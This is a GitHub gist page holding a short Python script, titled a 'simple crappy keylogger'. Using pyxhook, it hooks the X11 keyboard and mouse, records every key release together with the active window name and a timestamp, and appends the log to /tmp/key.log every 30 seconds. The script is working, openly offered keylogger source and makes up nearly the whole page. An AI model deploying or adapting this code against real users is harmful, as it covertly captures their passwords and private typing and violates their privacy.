Skip to content

Instantly share code, notes, and snippets.

@leshy

leshy/keylogger.py

Created Mar 10, 2012
Embed
What would you like to do?
pyxhook simple crappy keylogger
#!/usr/bin/python
import pyxhook
import time
keymap = { 'apostrophe': "'",
'comma': ",",
'period': ".",
'space': " ",
'quotedbl': '"',
'Return': '\n',
'exclam': '!',
'question': '?'}
class FileWriter():
def __init__(self,logfile):
print "opening " + logfile
self.lastwin = ""
self.f = open(logfile, 'a', 0)
self.data = ""
def event(self,event):
win = event.WindowProcName + " " + event.Window
if (self.lastwin != win):
self.lastwin = win
self.addlog("\nwc>>> " + win + " " + time.strftime('%s') + "\n")
self.event = event
key = str(event.Key)
if (key in keymap):
key = keymap[key]
if (len(key) > 1):
key = " [" + key + "] "
self.addlog( key)
def addlog(self,data):
self.data += data
def flush(self):
self.f.write(self.data)
self.data = ""
fileWriter = FileWriter('/tmp/key.log')
hm = pyxhook.HookManager()
hm.HookKeyboard()
hm.HookMouse()
hm.KeyUp = fileWriter.event
hm.start()
while True:
time.sleep(30)
if (fileWriter.data):
fileWriter.flush()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment